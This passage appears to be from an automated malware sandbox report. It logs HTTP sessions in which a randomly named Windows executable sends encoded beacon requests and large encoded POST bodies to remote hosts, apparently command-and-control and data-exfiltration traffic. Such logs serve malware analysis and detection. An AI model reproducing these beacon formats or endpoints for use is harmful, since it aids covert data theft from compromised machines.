ifzt=cgzI5r7frz8K20G54nwhdyY0JhomOZnWokkxRHiEcoN3N+ws/OKATAsEL5oyTIH6USOW9bSmkU/oxRshLaNLE6xxpzVe8oq5oSyqApeVqOUbQBjOQKHs1TySY091XUwnA2R2p35D2UzO5wMhwm/SboRiQ7mgLsBITtLVaNBeb9BPG+W14NWuFe1Y8YhRgRsG6GlDZqxt7hMH76panZrRqjRsRTDT0DzCAvftLN9llPw0gtYWjgMxz1562auNw52LrxU5ry/VSuQ8abv8Av+728seJO1cJwr3pBZ06PqMLgZSy6UtoW+ERyAhNqkDYwvNnZsH8koWaGllI5rVaR2Pq7Nk0LqMwpo7XyztFR8yhVrx7IVXsHD91jufdbb/ZTAN51UeL3X2QAB2/2kQgRYb1nZnrZEilSvZqO43/00PPMy8RXZ1vwbNCrWsttg6ba4ILfHkIYw5xZqOlqZ6ioys65YSoErbftL3+Xcq2JC2UN7bUOaC2cAOCHEG2NirGakrv0qH9JbRwFBfWgW7oMfUdm/95qAJ2KKwbRE/CKMHGeyNLomhCUfpuP508CWBRWN+6ikYRVT33LYpfAMi8KowiLjnXJq8vgRPf7nAjjVkZGHGDS7xPyB3nPGfANH39n/6uGrt2bhHmyYHqNJYn8BFwNch6gGYzNGRjLl3Y2YJmfwvRC0T9xyF5G6dF0CTrl1xGZe0t3eTh7+ZSARoyZVrdtrusApas3uGOWjTUXocdKY5Vk6eLR4SFAsawa6+I4o8TU8UQNXSAtYwqI+JqCJmHhf3Y3+NF4eJ7rNDvfb0vknWZg5zip5emooWLNaH5HIMe80GehqXFI68ACTkue1bYW0AYCc+EkhWx62C9bAM1hf0uBhZ3ieSI7/E1dU8fRlOfNbgrc66zAVwlhmYjE7tVmnmwG8rzqCDCMvLJ7D07LfjPSN0Cai7XmmTrBIFphBhawPx5N7eh7NekoPgoju76rNlmwoN0GZHGmKkW6KL1XcHRld [TRUNCATED]
Nov 25, 2024 09:45:43.090595961 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Mon, 25 Nov 2024 08:45:42 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
Nov 25, 2024 09:45:43.090739012 CET	899	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7JQd+EI?2.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50055	217.160.0.200	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:44.569355011 CET	518	OUT	GET /lnel/?ifzt=Ribo6cOqqFxVl074lXpGE14xRzI3KKS1rVAQT2LhUo1xH+0e39DTDCE0P6QoW4LNcCjE4+6almbk+DseMcJWDalTnHVPsL+WixWnB7fmocU+RCDZF77iizc=&qX=qP0hoZO0bjg4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.carsten.studio Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Nov 25, 2024 09:45:45.806469917 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 4545 Connection: close Date: Mon, 25 Nov 2024 08:45:45 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 54 52 41 54 4f 20 2d 20 44 6f 6d 61 69 6e 20 72 65 73 65 72 76 65 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 4f 70 65 6e 20 53 61 6e 73 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 22 3e 0d 0a 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 33 66 33 66 33 3b 20 70 61 64 64 69 6e 67 3a 20 34 30 70 78 20 30 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 35 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 20 6d 61 72 67 69 6e 2d [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <title>STRATO - Domain reserved</title> </head> <body style="background-color: #fff; font-family: Open Sans, sans-serif; padding: 0; margin: 0;"> <div style="background-color: #f3f3f3; padding: 40px 0; width: 100%;"> <div style="width: 150px; margin-left: auto; margin-right: auto;"><a href="https://www.strato.de" rel="nofollow" style="border: 0;"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 157.4 33.7"><defs><style>.a{fill:#f80;}.b{fill:#f80;}</style></defs><title>STRATO</title><path class="a" d="M17.8,7a4.69,4.69,0,0,1-4.7-4.7H29.6A4.69,4.69,0,0,1,34.3,7V23.5a4.69,4.69,0,0,1-4.7-4.7V9.4A2.37,2.37,0,0,0,27.2,7Z" transform="translate(-1.3 -2.3)"/><path class="b" d="M57.7,32.9c-1.3,2.5-4.7,2.6-7.3,2.6-2.1,0-4-.1-5.2-.2-1.5-.1-1.8-.5-1.8-1.3V32.9c0-1.3.2-1.7,1.4-1.7,2.1,0,3.1.2,6.2.2,2.4,0,2.9-.2,2.9-2.3,0-2.4,0-2.5-1.3-3.1a42.2,42.2,0,0,0-4.5-1.8c-3.7-1.6-4.4-2.3-4.4-6.5,0-2.6.5-4.8,3.4-5.7a14,14,0,0,1,4.9-.6c1.6, [TRUNCATED]
Nov 25, 2024 09:45:45.806530952 CET	1236	IN	Data Raw: 33 2c 30 2c 31 2e 36 2c 31 2e 33 2c 32 2e 31 2e 39 2e 35 2c 32 2c 2e 38 2c 32 2e 39 2c 31 2e 33 2c 34 2e 39 2c 32 2e 31 2c 36 2c 32 2e 35 2c 36 2c 36 2e 37 61 31 30 2e 31 32 2c 31 30 2e 31 32 2c 30 2c 30 2c 31 2d 2e 36 2c 34 2e 38 4d 37 37 2e 31 Data Ascii: 3,0,1.6,1.3,2.1.9.5,2,.8,2.9,1.3,4.9,2.1,6,2.5,6,6.7a10.12,10.12,0,0,1-.6,4.8M77.1,15.7c-2.1,0-3.7,0-5.2-.1v18a1.4,1.4,0,0,1-1.5,1.6H69c-1.1,0-1.7-.3-1.7-1.6V15.7c-1.5,0-3.2.1-5.3.1-1.5,0-1.5-.9-1.5-1.6v-.9A1.36,1.36,0,0,1,62,11.8H77.2c.8,0,1.
Nov 25, 2024 09:45:45.806576014 CET	1236	IN	Data Raw: 35 73 2d 2e 36 2c 37 2e 31 2d 32 2e 36 2c 39 2e 35 4d 31 35 33 2c 31 37 2e 34 63 2d 2e 38 2d 31 2e 36 2d 32 2e 34 2d 32 2e 33 2d 34 2e 34 2d 32 2e 33 73 2d 33 2e 36 2e 36 2d 34 2e 34 2c 32 2e 33 63 2d 2e 37 2c 31 2e 35 2d 2e 38 2c 34 2e 34 2d 2e Data Ascii: 5s-.6,7.1-2.6,9.5M153,17.4c-.8-1.6-2.4-2.3-4.4-2.3s-3.6.6-4.4,2.3c-.7,1.5-.8,4.4-.8,6.1s.1,4.6.8,6.1,2.4,2.3,4.4,2.3,3.6-.7,4.4-2.3.8-4.2.8-6.1-.1-4.6-.8-6.1" transform="translate(-1.3 -2.3)"/><path class="a" d="M24.9,14a2.26,2.26,0,0,0-2.3-2.
Nov 25, 2024 09:45:45.806618929 CET	975	IN	Data Raw: 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 22 20 6c 61 6e 67 3d 22 6e 6c 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 63 6f 6c 6f 72 3a 20 23 37 37 37 3b 20 66 6f 6e 74 2d 77 65 Data Ascii: padding-bottom: 30px" lang="nl"><span style="font-size: 14px; color: #777; font-weight: bold;">Nederlands</span><br>Deze website werd zojuist geregistreerd. Een webinhoud werd nog niet toegevoegd.</div> <div style="padding-bottom: 30px"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50056	107.167.84.42	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:52.221162081 CET	780	OUT	POST /omhm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.cssa.auction Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 201 Origin: http://www.cssa.auction Referer: http://www.cssa.auction/omhm/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 38 59 37 4c 55 69 78 31 4d 6c 64 33 56 30 2f 6b 44 32 30 41 64 61 51 49 6d 62 6a 36 37 30 31 42 44 2f 37 6a 30 39 71 66 59 2f 4a 43 45 2f 4a 45 62 73 31 39 48 4f 32 43 6d 35 72 50 58 46 50 74 46 77 58 6b 73 52 48 32 5a 5a 71 72 55 53 47 4b 62 54 74 77 4c 6e 6d 55 62 4d 67 4a 6f 45 33 73 37 54 2b 39 4b 50 39 6f 38 59 58 4b 68 6f 79 7a 45 51 6a 33 42 6c 41 48 72 72 50 31 6a 6a 58 6b 39 4b 69 77 31 70 37 38 59 49 50 41 6d 66 68 39 61 39 53 49 75 54 4d 55 61 53 79 36 62 77 51 61 33 73 74 6a 72 4f 65 4b 6b 5a 6c 64 4f 79 6b 64 6b 53 7a 67 46 38 45 75 47 4e 2f 51 70 46 2f 73 4d 51 3d 3d Data Ascii: ifzt=8Y7LUix1Mld3V0/kD20AdaQImbj6701BD/7j09qfY/JCE/JEbs19HO2Cm5rPXFPtFwXksRH2ZZqrUSGKbTtwLnmUbMgJoE3s7T+9KP9o8YXKhoyzEQj3BlAHrrP1jjXk9Kiw1p78YIPAmfh9a9SIuTMUaSy6bwQa3stjrOeKkZldOykdkSzgF8EuGN/QpF/sMQ==
Nov 25, 2024 09:45:53.457506895 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Mon, 25 Nov 2024 08:45:53 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 25, 2024 09:45:53.457541943 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50057	107.167.84.42	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:54.887394905 CET	800	OUT	POST /omhm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.cssa.auction Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 221 Origin: http://www.cssa.auction Referer: http://www.cssa.auction/omhm/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 38 59 37 4c 55 69 78 31 4d 6c 64 33 45 6b 50 6b 4d 78 67 41 49 71 51 48 6f 37 6a 36 78 55 30 49 44 2f 2f 6a 30 34 62 48 59 4a 35 43 48 64 42 45 63 75 4e 39 47 4f 32 43 75 5a 72 77 49 56 50 6d 46 77 61 62 73 51 72 32 5a 5a 2b 72 55 51 65 4b 48 31 6c 7a 4c 33 6d 57 43 63 67 48 6c 6b 33 73 37 54 2b 39 4b 4f 5a 53 38 59 50 4b 68 62 71 7a 47 31 58 30 4d 46 41 49 37 62 50 31 79 7a 58 67 39 4b 69 6f 31 74 37 53 59 4f 4c 41 6d 61 64 39 61 6f 79 4a 67 6a 4d 53 43 79 7a 56 58 68 78 73 37 4d 30 79 73 74 36 34 36 6f 4a 58 50 30 70 48 31 6a 53 33 58 38 67 64 62 4b 32 6b 6b 47 43 6c 58 56 4e 77 64 54 6f 32 2b 46 58 52 72 4e 71 56 4f 31 44 6d 63 43 51 3d Data Ascii: ifzt=8Y7LUix1Mld3EkPkMxgAIqQHo7j6xU0ID//j04bHYJ5CHdBEcuN9GO2CuZrwIVPmFwabsQr2ZZ+rUQeKH1lzL3mWCcgHlk3s7T+9KOZS8YPKhbqzG1X0MFAI7bP1yzXg9Kio1t7SYOLAmad9aoyJgjMSCyzVXhxs7M0yst646oJXP0pH1jS3X8gdbK2kkGClXVNwdTo2+FXRrNqVO1DmcCQ=
Nov 25, 2024 09:45:56.165836096 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Mon, 25 Nov 2024 08:45:55 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 25, 2024 09:45:56.165909052 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50058	107.167.84.42	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:57.578844070 CET	10882	OUT	POST /omhm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.cssa.auction Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10301 Origin: http://www.cssa.auction Referer: http://www.cssa.auction/omhm/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 38 59 37 4c 55 69 78 31 4d 6c 64 33 45 6b 50 6b 4d 78 67 41 49 71 51 48 6f 37 6a 36 78 55 30 49 44 2f 2f 6a 30 34 62 48 59 4a 78 43 45 76 35 45 61 4a 5a 39 46 4f 32 43 78 70 72 31 49 56 50 37 46 77 44 53 73 51 32 4c 5a 62 47 72 53 46 43 4b 58 41 46 7a 65 48 6d 57 66 4d 67 47 6f 45 33 6c 37 58 53 35 4b 4f 4a 53 38 59 50 4b 68 63 53 7a 42 67 6a 30 4f 46 41 48 72 72 50 44 6a 6a 58 49 39 4b 4b 53 31 74 2b 6e 59 39 44 41 6d 37 74 39 64 63 53 4a 6d 7a 4d 51 58 79 7a 4e 58 68 39 2f 37 4d 6f 2b 73 73 66 6c 36 72 56 58 4e 69 63 6e 68 51 79 42 42 61 35 44 48 72 71 34 38 57 71 44 56 33 42 4f 55 42 41 51 68 6d 4f 34 6f 4d 58 4b 57 77 44 78 49 56 70 6e 6e 73 58 5a 66 63 50 33 68 4f 62 48 68 4a 47 2b 51 4b 6e 59 2b 56 61 4d 46 2b 48 63 68 74 4a 65 66 6a 30 48 73 51 44 78 6a 78 37 38 78 58 55 4c 6a 6a 72 69 64 48 4e 48 4b 34 32 48 73 63 7a 53 36 65 32 71 52 66 35 61 38 50 54 59 67 74 33 2b 32 70 43 35 4b 4c 51 56 49 45 42 62 71 68 74 55 4e 34 66 6a 4e 64 77 2b 49 54 41 58 30 78 47 36 2b 32 46 38 6a [TRUNCATED] Data Ascii: ifzt=8Y7LUix1Mld3EkPkMxgAIqQHo7j6xU0ID//j04bHYJxCEv5EaJZ9FO2Cxpr1IVP7FwDSsQ2LZbGrSFCKXAFzeHmWfMgGoE3l7XS5KOJS8YPKhcSzBgj0OFAHrrPDjjXI9KKS1t+nY9DAm7t9dcSJmzMQXyzNXh9/7Mo+ssfl6rVXNicnhQyBBa5DHrq48WqDV3BOUBAQhmO4oMXKWwDxIVpnnsXZfcP3hObHhJG+QKnY+VaMF+HchtJefj0HsQDxjx78xXULjjridHNHK42HsczS6e2qRf5a8PTYgt3+2pC5KLQVIEBbqhtUN4fjNdw+ITAX0xG6+2F8j9rVwYTn7+QtMK6/ia6MuxGTTMgxOLzWhxlbrusPOx/mkvobH8jjCQlA6EZCio3lw54SzDs2n8s2VUcdNllkkRQ8JlwZ0s3zgoRdf+5qfANVpo3IwGQMbDmCdtGuFF8SaFdsCNfU5h8AVie7hUHL1dyoil9Vdspg9RU0VESrzlMWslo6x/BKSX4/sElwIz9jTQmEq5VEPhcn2uc7FW/609BN5yoqEP2/vZah7zUpFqMQnUnysAbE/9i/vQwWoTRK9ElapGv9b98Pj7UKhfRuGQ3VQGD12r0cCy6htJMgXmILcFIQs/GsfglIyCA9lr2ex3q4bY7U645KjYt6wPFawSg2LL6qE28IDMwnzP825vQlmkuQ9Q2YyCzO73a7YJvvw1jf5N0Pt4dstNkteAJ0RWk19ShAq5PqDDMRWfRs262XJZCYH1YFXeWxkZ76hz2jSbayauxsZt2PxC0DUIISjkNWlBIoODt9KLQlYdyW5QEA3wDbc8Kijb533vrSZaQB/GM6JPvXsTjpJqQ//aluIYR7Hqsv5UFfQ+x/aQQgpXkvbS4pHQnrm5ASt/JWTUfhFBRRpry1YaampbyZP4iR4/RsoxKMGnP9Wa52/xlgIrz3bhXf52vP+d4mT1yHnOtJCuacwrZfIKjSNnGol7RBim2sFdL+fr9Gqou [TRUNCATED]
Nov 25, 2024 09:45:58.766074896 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Mon, 25 Nov 2024 08:45:58 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 